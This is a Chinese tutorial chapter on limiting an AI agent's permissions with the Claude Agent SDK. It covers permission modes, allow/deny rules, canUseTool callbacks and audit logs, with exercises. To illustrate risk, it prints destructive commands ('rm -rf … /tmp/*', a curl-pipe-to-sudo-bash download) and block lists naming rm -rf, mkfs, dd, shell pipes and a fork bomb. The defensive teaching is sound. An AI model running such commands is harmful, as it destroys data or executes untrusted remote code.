AI Agent 教程

第6章:权限控制 —— 给 Agent 划安全红线

一句话:学会控制 Agent 的权限,让它只做你允许的事,不做你不让做的事。

本章目标

前置知识


6.1 为什么需要权限?

先想一个问题

你招了一个新员工,第一天上班。你会直接把公司所有钥匙、所有密码、所有银行账号都给他吗?

正常人肯定不会。你会先给他有限的权限 —— 他能进自己的工位,能用公共会议室,但不能进财务室,不能碰服务器。等你信任他了,再逐步放权。

Agent 也是一样的道理。

Agent 能干什么?

回忆一下第5章,我们学了 Agent 的内置工具:

注意到了吗?关键词是 "任何"。如果不加限制,Agent 理论上可以:

恐怖故事:没有权限控制会怎样

来看一个虚构但完全可能发生的场景:

你:请帮我清理一下项目里的临时文件。

Agent 的思考过程:
  "用户想清理临时文件,我来执行清理命令..."

Agent 执行了:
  rm -rf ./tmp ../tmp /tmp/*

结果:
  不仅删了项目临时文件,还把系统的 /tmp 也清了,
  甚至因为路径写错,连上级目录的东西也删了。

这还算轻的。更可怕的是:

你:帮我部署一下这个应用。

Agent 的思考过程:
  "需要安装依赖,我来执行..."

Agent 执行了:
  curl -fsSL https://某个可疑网址/setup.sh | sudo bash

结果:
  Agent 从网上下载了一个脚本并用 root 权限执行了。
  至于这个脚本干了什么...谁知道呢?

权限 = 红线

权限控制的本质就是给 Agent 画红线:

打个比方,就像你给新员工一张门禁卡:

区域 权限 类比到 Agent
自己的工位 随便进 读取文件(Read)
公共会议室 随便用 搜索文件(Glob、Grep)
经理办公室 需要审批 修改文件(Write、Edit)
服务器机房 需要特别审批 执行命令(Bash)
金库 绝对禁止 删除文件、执行危险命令

理解了为什么需要权限,接下来我们看 SDK 提供了哪些权限控制手段。


6.2 四种权限模式

Claude Agent SDK 提供了四种预设的权限模式,从严到松分别是:

plan(最严)→ default → acceptEdits → bypassPermissions(最松)

我们一个一个来看。

模式一:default —— 遇事就问你

一句话解释:Agent 遇到需要执行工具的操作时,都会停下来问你"我能不能做这个?"

适用场景:新手学习、重要项目、生产环境

行为特点

代码示例

import { query, type ClaudeAgentOptions } from "@anthropic-ai/claude-agent-sdk";

// default 模式:最安全的起步方式
const options: ClaudeAgentOptions = {
  prompt: "帮我看看当前目录有哪些文件,然后创建一个 hello.txt",
  options: {
    allowedTools: ["Bash", "Read", "Write"],
    permissionMode: "default",  // 遇到敏感操作就问用户
  },
};

for await (const message of query(options)) {
  if (message.type === "assistant") {
    console.log("[Agent]:", message.content);
  }
  if (message.type === "result") {
    console.log("[完成]:", message.result);
  }
}

运行时你会看到类似这样的交互

Agent 想要使用工具: Bash
命令: ls -la
是否允许?(y/n): y

[Agent]: 当前目录有以下文件:
  - package.json
  - tsconfig.json
  - src/

Agent 想要使用工具: Write
文件: ./hello.txt
内容: Hello, World!
是否允许?(y/n): y

[Agent]: 已创建 hello.txt 文件。

给新手的建议:刚开始学的时候就用 default 模式。虽然每次都要手动确认有点烦,但这能让你清楚看到 Agent 到底在干什么。等你熟悉了再放宽权限。


模式二:acceptEdits —— 文件操作自动批准

一句话解释:Agent 可以自由读写文件,但执行命令等其他操作还是要问你。

适用场景:日常开发、代码生成、文档编写

行为特点

代码示例

import { query } from "@anthropic-ai/claude-agent-sdk";

// acceptEdits 模式:适合写代码的场景
for await (const message of query({
  prompt: "帮我创建一个 Express 的 Hello World 项目",
  options: {
    allowedTools: ["Bash", "Read", "Write", "Edit", "Glob"],
    permissionMode: "acceptEdits",  // 文件操作自动批准
  },
})) {
  if (message.type === "assistant") {
    console.log("[Agent]:", message.content);
  }
}

运行时的行为

[Agent]: 好的,我来帮你创建项目。

(Agent 直接创建了 package.json,没问你)
(Agent 直接创建了 index.js,没问你)
(Agent 直接创建了 .gitignore,没问你)

Agent 想要使用工具: Bash
命令: npm install express
是否允许?(y/n): y

(Agent 执行 npm install)

[Agent]: 项目创建完成!运行 node index.js 即可启动。

看到区别了吗?文件操作全部自动通过了,只有 npm install 这个 Bash 命令需要你确认。

这个模式的逻辑是:文件操作相对安全(最多改错了可以用 git 恢复),但命令执行可能有风险(装了恶意包就麻烦了),所以文件放行、命令要审。


模式三:bypassPermissions —— 全部放行

一句话解释:Agent 做什么都不需要你批准,完全自主。

适用场景:仅限本地测试、一次性脚本、你完全信任的任务

代码示例

import { query } from "@anthropic-ai/claude-agent-sdk";

// bypassPermissions 模式:全部放行,不问任何问题
for await (const message of query({
  prompt: "帮我初始化一个 React 项目并安装依赖",
  options: {
    allowedTools: ["Bash", "Read", "Write", "Edit"],
    permissionMode: "bypassPermissions",  // 所有操作自动批准
  },
})) {
  if (message.type === "assistant") {
    console.log("[Agent]:", message.content);
  }
}

运行时的行为

[Agent]: 好的,我来帮你创建 React 项目。

(Agent 直接执行 npx create-react-app my-app,没问你)
(Agent 直接执行 cd my-app && npm install,没问你)
(Agent 直接修改了配置文件,没问你)

[Agent]: React 项目创建完成!

全程不需要你确认任何操作。

警告:这个模式非常危险!请只在以下情况使用:

  • 你在一个隔离的 Docker 容器里运行
  • 你对 prompt 内容完全可控(不是用户输入的)
  • 你只是在本地测试,数据丢了也无所谓
  • 你配合了精细化权限规则(6.3 节会讲)来限制具体行为

绝对不要在生产环境对用户输入使用 bypassPermissions!


模式四:plan —— 只许看不许动

一句话解释:Agent 只能思考和规划,不能执行任何操作。

适用场景:方案评审、任务预览、安全审计

行为特点

代码示例

import { query } from "@anthropic-ai/claude-agent-sdk";

// plan 模式:只做计划,不执行任何操作
for await (const message of query({
  prompt: "帮我重构 src/utils.ts 文件,把所有函数都加上类型注解",
  options: {
    allowedTools: ["Bash", "Read", "Write", "Edit", "Glob", "Grep"],
    permissionMode: "plan",  // 只读模式,Agent 只能规划
  },
})) {
  if (message.type === "assistant") {
    console.log("[Agent 的计划]:", message.content);
  }
}

运行时的输出

[Agent 的计划]:
我分析了你的需求,以下是我的重构计划:

1. 首先,我会用 Glob 找到 src/utils.ts 文件
2. 然后用 Read 读取文件内容
3. 分析每个函数的参数和返回值
4. 用 Edit 工具进行以下修改:
   - formatDate(date) → formatDate(date: Date): string
   - parseJSON(str) → parseJSON(str: string): unknown
   - debounce(fn, delay) → debounce(fn: Function, delay: number): Function
5. 最后用 Bash 运行 tsc --noEmit 检查类型是否正确

预计修改 3 个函数,影响 1 个文件。

如果你同意这个计划,请用非 plan 模式重新运行。

plan 模式的妙用

你可以把它当成"预览"功能。先让 Agent 用 plan 模式看看它打算干什么,觉得没问题了,再切换到其他模式让它真的去做。这在重要操作前特别有用:

// 第一步:先用 plan 模式看看 Agent 的计划
console.log("=== 预览模式 ===");
for await (const message of query({
  prompt: "删除项目中所有未使用的依赖",
  options: {
    allowedTools: ["Bash", "Read", "Glob", "Grep"],
    permissionMode: "plan",
  },
})) {
  if (message.type === "assistant") {
    console.log(message.content);
  }
}

// 第二步:确认没问题后,用 default 模式执行
console.log("\n=== 执行模式 ===");
for await (const message of query({
  prompt: "删除项目中所有未使用的依赖",
  options: {
    allowedTools: ["Bash", "Read", "Glob", "Grep"],
    permissionMode: "default",
  },
})) {
  if (message.type === "assistant") {
    console.log(message.content);
  }
}

四种模式对比总结

模式 文件读取 文件写入 命令执行 安全级别 适用场景
plan 不执行 不执行 不执行 最高 方案预览、安全审计
default 需确认 需确认 需确认 新手学习、生产环境
acceptEdits 自动 自动 需确认 日常开发
bypassPermissions 自动 自动 自动 本地测试(需配合沙箱)

6.3 精细化权限规则

四种权限模式是"粗粒度"的控制 —— 要么全问,要么全不问。但实际场景中,你经常需要更精细的控制:

这时候就需要 精细化权限规则

三种规则类型

规则类型 含义 效果
allow 明确允许 直接放行,不问用户
deny 明确拒绝 直接拒绝,Agent 会收到"权限被拒绝"的提示
ask 需要询问 暂停执行,等待用户确认

规则的匹配逻辑

当 Agent 要用一个工具时,SDK 按以下顺序检查:

1. 先检查 Hooks(如果有的话)
2. 再检查精细化规则(allow / deny / ask)
3. 最后看权限模式(default / acceptEdits / ...)

如果精细化规则命中了,就用规则的结果;如果没命中任何规则,就回退到权限模式的默认行为。

规则优先级deny > ask > allow

也就是说,如果一个操作同时被 allow 和 deny 规则匹配到了,deny 赢。

实战:配置精细化规则

精细化规则通过 permissionRules 配置项传入。下面看几个真实场景。

场景一:允许读任何文件,但禁止读 .env 文件

import { query } from "@anthropic-ai/claude-agent-sdk";

for await (const message of query({
  prompt: "请检查项目的配置文件",
  options: {
    allowedTools: ["Read", "Glob", "Grep"],
    permissionMode: "default",
    permissionRules: [
      // 允许读取任何文件
      {
        tool: "Read",
        decision: "allow",
      },
      // 但是!禁止读 .env 文件(deny 优先级更高)
      {
        tool: "Read",
        decision: "deny",
        matchCondition: {
          file_path: "**/.env*"  // 匹配所有 .env 开头的文件
        }
      },
    ],
  },
})) {
  if (message.type === "assistant") {
    console.log(message.content);
  }
}

场景二:Bash 只能执行 npm 和 git 命令

import { query } from "@anthropic-ai/claude-agent-sdk";

for await (const message of query({
  prompt: "帮我安装依赖并查看 git 状态",
  options: {
    allowedTools: ["Bash", "Read", "Write"],
    permissionMode: "default",
    permissionRules: [
      // 允许 npm 命令
      {
        tool: "Bash",
        decision: "allow",
        matchCondition: {
          command: "npm *"  // 以 npm 开头的命令
        }
      },
      // 允许 git 命令
      {
        tool: "Bash",
        decision: "allow",
        matchCondition: {
          command: "git *"  // 以 git 开头的命令
        }
      },
      // 禁止所有其他 Bash 命令
      {
        tool: "Bash",
        decision: "deny",
      },
    ],
  },
})) {
  if (message.type === "assistant") {
    console.log(message.content);
  }
}

这里有个关键细节:规则是按顺序匹配的,但 deny 优先级始终高于 allow。在上面的例子中:

场景三:只允许在指定目录内写文件

import { query } from "@anthropic-ai/claude-agent-sdk";

const projectDir = "/home/user/my-project";

for await (const message of query({
  prompt: "帮我生成一些测试文件",
  options: {
    allowedTools: ["Write", "Read", "Bash"],
    permissionMode: "default",
    permissionRules: [
      // 允许在项目目录内写文件
      {
        tool: "Write",
        decision: "allow",
        matchCondition: {
          file_path: `${projectDir}/**`
        }
      },
      // 禁止在其他地方写文件
      {
        tool: "Write",
        decision: "deny",
      },
      // 同样限制 Edit
      {
        tool: "Edit",
        decision: "allow",
        matchCondition: {
          file_path: `${projectDir}/**`
        }
      },
      {
        tool: "Edit",
        decision: "deny",
      },
    ],
  },
})) {
  if (message.type === "assistant") {
    console.log(message.content);
  }
}

场景四:禁止危险的 Bash 命令

import { query } from "@anthropic-ai/claude-agent-sdk";

for await (const message of query({
  prompt: "帮我整理一下项目",
  options: {
    allowedTools: ["Bash", "Read", "Write", "Edit", "Glob"],
    permissionMode: "acceptEdits",
    permissionRules: [
      // 禁止 rm 命令(删除文件)
      {
        tool: "Bash",
        decision: "deny",
        matchCondition: { command: "rm *" }
      },
      // 禁止 sudo 命令(提权)
      {
        tool: "Bash",
        decision: "deny",
        matchCondition: { command: "sudo *" }
      },
      // 禁止 curl 管道到 sh/bash(危险的远程执行)
      {
        tool: "Bash",
        decision: "deny",
        matchCondition: { command: "*| sh*" }
      },
      {
        tool: "Bash",
        decision: "deny",
        matchCondition: { command: "*| bash*" }
      },
      // 禁止 kill 命令
      {
        tool: "Bash",
        decision: "deny",
        matchCondition: { command: "kill *" }
      },
      // 禁止 chmod/chown(修改权限)
      {
        tool: "Bash",
        decision: "deny",
        matchCondition: { command: "chmod *" }
      },
      {
        tool: "Bash",
        decision: "deny",
        matchCondition: { command: "chown *" }
      },
    ],
  },
})) {
  if (message.type === "assistant") {
    console.log(message.content);
  }
}

规则匹配的注意事项

  1. 通配符* 匹配任意字符,** 在路径中匹配多级目录
  2. 规则顺序:虽然规则是按顺序写的,但 deny 始终优先于 allow
  3. 没有匹配:如果没有任何规则匹配,就回退到 permissionMode 的默认行为
  4. 工具名称:用的是工具的标准名称,如 BashReadWriteEditGlobGrep

6.4 canUseTool 回调 —— 运行时动态决策

精细化规则虽然强大,但它是"静态"的 —— 在 Agent 启动前就定好了。有些场景需要"动态"决策:

这时候就需要 canUseTool 回调。

基本概念

canUseTool 是一个你定义的函数,每当 Agent 要使用工具时,SDK 会调用这个函数。你可以在函数里检查工具名称、参数等信息,然后返回"允许"、"拒绝"或"需要用户确认"。

完整代码示例

import { query } from "@anthropic-ai/claude-agent-sdk";
import * as readline from "readline";

// 创建 readline 接口,用于在终端里问用户
const rl = readline.createInterface({
  input: process.stdin,
  output: process.stdout,
});

// 封装一个异步的提问函数
function askUser(question: string): Promise<string> {
  return new Promise((resolve) => {
    rl.question(question, (answer) => {
      resolve(answer.trim().toLowerCase());
    });
  });
}

// 记录操作次数
let writeCount = 0;
const MAX_WRITES = 5;

for await (const message of query({
  prompt: "帮我重构 src 目录下的所有 TypeScript 文件",
  options: {
    allowedTools: ["Read", "Write", "Edit", "Glob", "Grep", "Bash"],
    permissionMode: "bypassPermissions",  // 基础设为全部放行

    // canUseTool 回调:每次工具调用都会触发
    canUseTool: async (toolName, toolInput) => {
      console.log(`\n[权限检查] Agent 想使用 ${toolName}`);

      // ============================================
      // 规则1:Read 和搜索工具始终允许
      // ============================================
      if (["Read", "Glob", "Grep"].includes(toolName)) {
        console.log(`  → 自动允许:只读操作`);
        return { allowed: true };
      }

      // ============================================
      // 规则2:Write/Edit 最多允许 5 次
      // ============================================
      if (toolName === "Write" || toolName === "Edit") {
        writeCount++;
        if (writeCount > MAX_WRITES) {
          console.log(`  → 自动拒绝:已经修改了 ${MAX_WRITES} 个文件,达到上限`);
          return {
            allowed: false,
            reason: `已达到最大修改文件数限制(${MAX_WRITES}),请先确认已修改的文件再继续。`
          };
        }

        // 检查文件路径:只允许写入 src 目录
        const filePath = toolInput.file_path || toolInput.path || "";
        if (!filePath.includes("/src/")) {
          console.log(`  → 自动拒绝:不允许修改 src 目录以外的文件`);
          return {
            allowed: false,
            reason: "只允许修改 src 目录下的文件"
          };
        }

        console.log(`  → 自动允许:src 目录内的文件修改 (${writeCount}/${MAX_WRITES})`);
        return { allowed: true };
      }

      // ============================================
      // 规则3:Bash 命令需要用户手动确认
      // ============================================
      if (toolName === "Bash") {
        const command = toolInput.command || "";
        console.log(`  命令: ${command}`);

        // 有些命令直接禁止,问都不用问
        const dangerousPatterns = ["rm -rf", "sudo", "kill -9", "mkfs", "dd if="];
        for (const pattern of dangerousPatterns) {
          if (command.includes(pattern)) {
            console.log(`  → 自动拒绝:检测到危险命令 "${pattern}"`);
            return {
              allowed: false,
              reason: `命令包含危险操作 "${pattern}",已被自动拒绝`
            };
          }
        }

        // 其他 Bash 命令,问用户
        const answer = await askUser(`  是否允许执行?(y/n): `);
        if (answer === "y" || answer === "yes") {
          return { allowed: true };
        } else {
          return {
            allowed: false,
            reason: "用户拒绝了此操作"
          };
        }
      }

      // ============================================
      // 规则4:其他工具默认需要用户确认
      // ============================================
      const answer = await askUser(
        `  允许 ${toolName} 操作吗?(y/n): `
      );
      return {
        allowed: answer === "y" || answer === "yes"
      };
    },
  },
})) {
  if (message.type === "assistant") {
    console.log("\n[Agent]:", message.content);
  }
  if (message.type === "result") {
    console.log("\n[完成]:", message.result);
    rl.close();
  }
}

运行效果

[Agent]: 好的,我先看看 src 目录下有哪些 TypeScript 文件。

[权限检查] Agent 想使用 Glob
  → 自动允许:只读操作

[权限检查] Agent 想使用 Read
  → 自动允许:只读操作

[Agent]: 找到 3 个文件,我来逐个重构。

[权限检查] Agent 想使用 Edit
  → 自动允许:src 目录内的文件修改 (1/5)

[权限检查] Agent 想使用 Edit
  → 自动允许:src 目录内的文件修改 (2/5)

[权限检查] Agent 想使用 Bash
  命令: npx tsc --noEmit
  是否允许执行?(y/n): y

[权限检查] Agent 想使用 Edit
  → 自动允许:src 目录内的文件修改 (3/5)

[Agent]: 重构完成!所有文件已添加类型注解。

canUseTool 的返回值详解

// 允许操作
return { allowed: true };

// 拒绝操作,并告诉 Agent 原因
return {
  allowed: false,
  reason: "不允许修改配置文件"
};
// Agent 收到 reason 后,会尝试换一种方式完成任务

当你返回 { allowed: false, reason: "..." } 时,SDK 会把这个 reason 作为工具执行的结果反馈给 Agent。Agent 看到被拒绝后,通常会:

  1. 尝试换一种方式完成任务(比如用 Edit 代替 Write)
  2. 跳过这个步骤,继续做其他事
  3. 告诉你"我没有权限做这个,请你手动处理"

更高级的用法:基于时间的权限控制

canUseTool: async (toolName, toolInput) => {
  const hour = new Date().getHours();

  // 晚上10点到早上8点之间,禁止写入操作
  if (hour >= 22 || hour < 8) {
    if (["Write", "Edit", "Bash"].includes(toolName)) {
      return {
        allowed: false,
        reason: "当前是非工作时间(22:00-08:00),禁止写入操作。请在工作时间再试。"
      };
    }
  }

  return { allowed: true };
}

更高级的用法:操作审计日志

import * as fs from "fs";

const auditLog: Array<{
  timestamp: string;
  tool: string;
  input: any;
  decision: string;
}> = [];

canUseTool: async (toolName, toolInput) => {
  const entry = {
    timestamp: new Date().toISOString(),
    tool: toolName,
    input: toolInput,
    decision: "allowed", // 先假设允许,后面可能改
  };

  // 你的权限判断逻辑...
  const allowed = true; // 简化示例

  if (!allowed) {
    entry.decision = "denied";
  }

  // 记录审计日志
  auditLog.push(entry);

  // 每次都写入文件,确保不丢失
  fs.writeFileSync(
    "agent-audit.json",
    JSON.stringify(auditLog, null, 2)
  );

  return { allowed };
}

审计日志文件长这样:

[
  {
    "timestamp": "2026-02-25T10:30:15.123Z",
    "tool": "Read",
    "input": { "file_path": "/home/user/project/src/index.ts" },
    "decision": "allowed"
  },
  {
    "timestamp": "2026-02-25T10:30:16.456Z",
    "tool": "Bash",
    "input": { "command": "npm test" },
    "decision": "allowed"
  },
  {
    "timestamp": "2026-02-25T10:30:20.789Z",
    "tool": "Bash",
    "input": { "command": "rm -rf node_modules" },
    "decision": "denied"
  }
]

6.5 权限设计的最佳实践

学完了所有权限控制手段,最后总结一下在实际项目中应该怎么设计权限。

原则一:最小权限原则

给 Agent 的权限应该是完成任务所需的最小权限,不多给一点。

// 不好的做法:给了一堆用不到的工具
const options = {
  prompt: "帮我分析这段代码的复杂度",
  options: {
    allowedTools: ["Read", "Write", "Edit", "Bash", "Glob", "Grep", "WebSearch", "WebFetch"],
    permissionMode: "bypassPermissions",
  },
};

// 好的做法:只给需要的工具
const options = {
  prompt: "帮我分析这段代码的复杂度",
  options: {
    allowedTools: ["Read", "Glob", "Grep"],  // 分析代码只需要读取和搜索
    permissionMode: "default",
  },
};

原则二:从严开始,逐步放宽

新项目、新任务,先用严格的权限。确认没问题后再放宽。

// 第一次运行:用最严的 default 模式,看看 Agent 会做什么
permissionMode: "default"

// 观察几次后,发现文件操作都没问题:升级到 acceptEdits
permissionMode: "acceptEdits"

// 在 Docker 容器里跑,完全可控:可以考虑 bypassPermissions
permissionMode: "bypassPermissions"

原则三:不同环境用不同权限

function getPermissionMode(): string {
  const env = process.env.NODE_ENV || "development";

  switch (env) {
    case "production":
      return "default";          // 生产环境:最严
    case "staging":
      return "acceptEdits";      // 测试环境:中等
    case "development":
      return "acceptEdits";      // 开发环境:中等
    case "test":
      return "bypassPermissions"; // 自动化测试:最松(在容器里跑)
    default:
      return "default";
  }
}

const options = {
  prompt: taskDescription,
  options: {
    allowedTools: ["Read", "Write", "Edit", "Bash", "Glob", "Grep"],
    permissionMode: getPermissionMode(),
  },
};

原则四:记录所有工具调用

不管权限模式是什么,都应该记录 Agent 做了什么。万一出了问题,你可以回溯。

canUseTool: async (toolName, toolInput) => {
  // 不管允不允许,都记一笔
  console.log(`[AUDIT] ${new Date().toISOString()} | ${toolName} | ${JSON.stringify(toolInput).slice(0, 200)}`);

  // 然后再做权限判断...
  return { allowed: true };
}

原则五:给 Agent 解释为什么被拒绝

当你拒绝 Agent 的操作时,一定要给一个有用的 reason。Agent 会根据这个理由调整行为:

// 不好的做法:只说"不行"
return { allowed: false };

// 好的做法:说清楚为什么不行,以及该怎么做
return {
  allowed: false,
  reason: "不允许直接用 rm 删除文件。如果需要清理,请用 git clean -n 先预览要删除的文件列表,然后我来手动确认。"
};

权限配置速查表

场景 推荐模式 推荐规则
学习 / 探索 default 无特殊规则
写代码 / 生成文件 acceptEdits 限制写入目录
代码审查(只读) plandefault 只给 Read、Glob、Grep
CI/CD 自动化 bypassPermissions 配合 Docker 容器 + deny 危险命令
处理敏感数据 default deny 所有网络工具,限制文件读取范围
用户直接输入 prompt default canUseTool 全量审计

动手练习

练习1:配置一个"只读 Agent"

目标:创建一个只能看、不能改的 Agent。它可以读文件、搜索代码,但不能修改任何东西。

import { query } from "@anthropic-ai/claude-agent-sdk";

/**
 * 练习1:只读 Agent
 *
 * 这个 Agent 可以:
 * - 读取任何文件
 * - 搜索文件和内容
 * - 分析代码
 *
 * 这个 Agent 不能:
 * - 写入或修改文件
 * - 执行任何命令
 * - 访问网络
 */
async function readOnlyAgent(prompt: string) {
  console.log("=== 只读 Agent 启动 ===");
  console.log(`任务: ${prompt}\n`);

  for await (const message of query({
    prompt,
    options: {
      // 只给只读工具
      allowedTools: ["Read", "Glob", "Grep"],

      // 用 default 模式作为保底
      permissionMode: "default",

      // 额外的精细化规则
      permissionRules: [
        // 允许所有 Read 操作
        { tool: "Read", decision: "allow" },
        // 允许所有 Glob 操作
        { tool: "Glob", decision: "allow" },
        // 允许所有 Grep 操作
        { tool: "Grep", decision: "allow" },
      ],
    },
  })) {
    if (message.type === "assistant") {
      console.log("[Agent]:", message.content);
    }
    if (message.type === "result") {
      console.log("\n=== 任务完成 ===");
      console.log("结果:", message.result);
    }
  }
}

// 运行:让 Agent 分析项目结构
readOnlyAgent("请分析当前项目的目录结构,找到所有 TypeScript 文件,并统计总行数。");

运行这段代码:Agent 会读取文件、搜索目录,但如果它试图写文件或执行命令(虽然我们没给它这些工具,但以防万一),都会被拒绝。


练习2:配置一个"安全沙箱"

目标:Agent 可以执行 Bash 命令,但限制只能执行特定的安全命令。

import { query } from "@anthropic-ai/claude-agent-sdk";

/**
 * 练习2:安全沙箱 Agent
 *
 * 允许的命令:npm, node, git, ls, cat, echo, pwd, which
 * 禁止的命令:rm, sudo, kill, chmod, chown, curl|sh, wget|sh
 */

// 安全命令白名单
const SAFE_COMMANDS = [
  "npm",
  "npx",
  "node",
  "git",
  "ls",
  "cat",
  "echo",
  "pwd",
  "which",
  "tsc",
  "prettier",
  "eslint",
];

// 危险命令黑名单
const DANGEROUS_PATTERNS = [
  "rm -rf",
  "rm -r",
  "sudo",
  "kill",
  "chmod",
  "chown",
  "mkfs",
  "dd if=",
  "| sh",
  "| bash",
  "| zsh",
  "> /dev",
  ":(){ :|:& };:",  // fork bomb
];

async function sandboxAgent(prompt: string) {
  console.log("=== 安全沙箱 Agent 启动 ===");
  console.log(`任务: ${prompt}\n`);

  for await (const message of query({
    prompt,
    options: {
      allowedTools: ["Bash", "Read", "Write", "Edit", "Glob", "Grep"],
      permissionMode: "acceptEdits",  // 文件操作自动批准

      canUseTool: async (toolName, toolInput) => {
        // 非 Bash 工具直接放行(文件操作由 acceptEdits 管理)
        if (toolName !== "Bash") {
          return { allowed: true };
        }

        const command = (toolInput.command || "").trim();
        console.log(`\n[沙箱] 检查命令: ${command}`);

        // 第一步:检查是否包含危险模式
        for (const pattern of DANGEROUS_PATTERNS) {
          if (command.includes(pattern)) {
            console.log(`[沙箱] 拒绝!包含危险模式: "${pattern}"`);
            return {
              allowed: false,
              reason: `命令包含危险操作 "${pattern}"。在安全沙箱中,此操作被禁止。`
            };
          }
        }

        // 第二步:检查命令是否以安全命令开头
        const firstWord = command.split(/\s/)[0];
        // 处理路径形式的命令,如 /usr/bin/node
        const cmdName = firstWord.split("/").pop() || firstWord;

        if (SAFE_COMMANDS.includes(cmdName)) {
          console.log(`[沙箱] 允许:${cmdName} 在白名单中`);
          return { allowed: true };
        }

        // 第三步:不在白名单中的命令,拒绝
        console.log(`[沙箱] 拒绝:${cmdName} 不在安全命令白名单中`);
        return {
          allowed: false,
          reason: `命令 "${cmdName}" 不在安全命令白名单中。允许的命令有:${SAFE_COMMANDS.join(", ")}。`
        };
      },
    },
  })) {
    if (message.type === "assistant") {
      console.log("\n[Agent]:", message.content);
    }
    if (message.type === "result") {
      console.log("\n=== 任务完成 ===");
    }
  }
}

// 运行
sandboxAgent("帮我初始化一个 Node.js 项目,安装 express 和 typescript,然后创建一个简单的 Hello World 服务。");

运行效果

=== 安全沙箱 Agent 启动 ===
任务: 帮我初始化一个 Node.js 项目...

[沙箱] 检查命令: npm init -y
[沙箱] 允许:npm 在白名单中

[沙箱] 检查命令: npm install express typescript
[沙箱] 允许:npm 在白名单中

[沙箱] 检查命令: npx tsc --init
[沙箱] 允许:npx 在白名单中

[Agent]: 项目创建完成!如果 Agent 尝试执行不在白名单中的命令,
         会被自动拒绝并收到提示。

练习3:实现一个审批流程

目标:Agent 执行危险操作前,在终端等待你确认。确认后才继续,拒绝则跳过。

import { query } from "@anthropic-ai/claude-agent-sdk";
import * as readline from "readline";

/**
 * 练习3:交互式审批 Agent
 *
 * - 读取操作:自动放行
 * - 文件写入:显示变更预览,等待确认
 * - Bash 命令:显示命令详情,等待确认
 * - 危险操作:自动拒绝
 */

const rl = readline.createInterface({
  input: process.stdin,
  output: process.stdout,
});

function ask(question: string): Promise<string> {
  return new Promise((resolve) => {
    rl.question(question, (answer) => resolve(answer.trim().toLowerCase()));
  });
}

// 用颜色让终端输出更直观(ANSI 转义码)
const colors = {
  green: (s: string) => `\x1b[32m${s}\x1b[0m`,
  red: (s: string) => `\x1b[31m${s}\x1b[0m`,
  yellow: (s: string) => `\x1b[33m${s}\x1b[0m`,
  blue: (s: string) => `\x1b[34m${s}\x1b[0m`,
  gray: (s: string) => `\x1b[90m${s}\x1b[0m`,
};

async function approvalAgent(prompt: string) {
  console.log(colors.blue("=== 审批模式 Agent 启动 ==="));
  console.log(`任务: ${prompt}\n`);

  let approvedCount = 0;
  let deniedCount = 0;

  for await (const message of query({
    prompt,
    options: {
      allowedTools: ["Bash", "Read", "Write", "Edit", "Glob", "Grep"],
      permissionMode: "bypassPermissions",

      canUseTool: async (toolName, toolInput) => {
        // 只读操作:自动放行,不打扰用户
        if (["Read", "Glob", "Grep"].includes(toolName)) {
          return { allowed: true };
        }

        // 打印分隔线
        console.log("\n" + colors.yellow("─".repeat(60)));
        console.log(colors.yellow(`[审批请求] Agent 想要执行 ${toolName}`));
        console.log(colors.yellow("─".repeat(60)));

        // 根据工具类型显示不同的信息
        if (toolName === "Bash") {
          const command = toolInput.command || "";
          console.log(`  命令: ${colors.blue(command)}`);

          // 危险命令自动拒绝
          if (/rm\s+-rf|sudo|kill\s+-9|mkfs|dd\s+if=/.test(command)) {
            console.log(colors.red("  [自动拒绝] 检测到危险命令!"));
            deniedCount++;
            return {
              allowed: false,
              reason: "检测到危险命令,已被安全策略自动拒绝。"
            };
          }
        }

        if (toolName === "Write") {
          const filePath = toolInput.file_path || "未知路径";
          const content = toolInput.content || "";
          console.log(`  目标文件: ${colors.blue(filePath)}`);
          console.log(`  内容预览 (前 200 字符):`);
          console.log(colors.gray("  " + content.slice(0, 200).replace(/\n/g, "\n  ")));
          if (content.length > 200) {
            console.log(colors.gray(`  ... (共 ${content.length} 字符)`));
          }
        }

        if (toolName === "Edit") {
          const filePath = toolInput.file_path || "未知路径";
          const oldStr = toolInput.old_string || "";
          const newStr = toolInput.new_string || "";
          console.log(`  目标文件: ${colors.blue(filePath)}`);
          console.log(`  删除内容: ${colors.red(oldStr.slice(0, 100))}`);
          console.log(`  替换为:   ${colors.green(newStr.slice(0, 100))}`);
        }

        // 等待用户确认
        console.log();
        const answer = await ask(
          `  ${colors.yellow("允许此操作?")} [y]允许 / [n]拒绝 / [a]查看全部参数: `
        );

        if (answer === "a") {
          // 显示完整参数
          console.log(colors.gray("\n  完整参数:"));
          console.log(colors.gray("  " + JSON.stringify(toolInput, null, 2).replace(/\n/g, "\n  ")));

          // 再次询问
          const answer2 = await ask(`\n  ${colors.yellow("允许此操作?")} [y/n]: `);
          if (answer2 === "y" || answer2 === "yes") {
            approvedCount++;
            console.log(colors.green("  [已批准]"));
            return { allowed: true };
          }
        }

        if (answer === "y" || answer === "yes") {
          approvedCount++;
          console.log(colors.green("  [已批准]"));
          return { allowed: true };
        }

        deniedCount++;
        console.log(colors.red("  [已拒绝]"));
        return {
          allowed: false,
          reason: "操作被用户手动拒绝。请尝试其他方式或跳过此步骤。"
        };
      },
    },
  })) {
    if (message.type === "assistant") {
      console.log("\n[Agent]:", message.content);
    }
    if (message.type === "result") {
      console.log("\n" + colors.blue("─".repeat(60)));
      console.log(colors.blue("=== 任务完成 ==="));
      console.log(`  已批准: ${colors.green(String(approvedCount))} 次`);
      console.log(`  已拒绝: ${colors.red(String(deniedCount))} 次`);
      console.log(colors.blue("─".repeat(60)));
      rl.close();
    }
  }
}

// 运行
approvalAgent("帮我创建一个简单的 Express API 项目,包含健康检查接口和错误处理中间件。");

运行效果

=== 审批模式 Agent 启动 ===
任务: 帮我创建一个简单的 Express API 项目...

[Agent]: 好的,我来帮你创建项目。首先创建 package.json。

────────────────────────────────────────────────────────────
[审批请求] Agent 想要执行 Write
────────────────────────────────────────────────────────────
  目标文件: ./package.json
  内容预览 (前 200 字符):
  {
    "name": "express-api",
    "version": "1.0.0",
    "scripts": {
      "start": "node index.js",
      "dev": "node --watch index.js"
    },
    "dependencies": {
      "express": "^4.18.0"
    }
  }

  允许此操作? [y]允许 / [n]拒绝 / [a]查看全部参数: y
  [已批准]

────────────────────────────────────────────────────────────
[审批请求] Agent 想要执行 Bash
────────────────────────────────────────────────────────────
  命令: npm install

  允许此操作? [y]允许 / [n]拒绝 / [a]查看全部参数: y
  [已批准]

────────────────────────────────────────────────────────────
=== 任务完成 ===
  已批准: 5 次
  已拒绝: 0 次
────────────────────────────────────────────────────────────

本章小结

回顾一下这一章学到的内容:

  1. 为什么需要权限:Agent 能力很强,不加限制可能造成破坏。权限就是给它画红线。

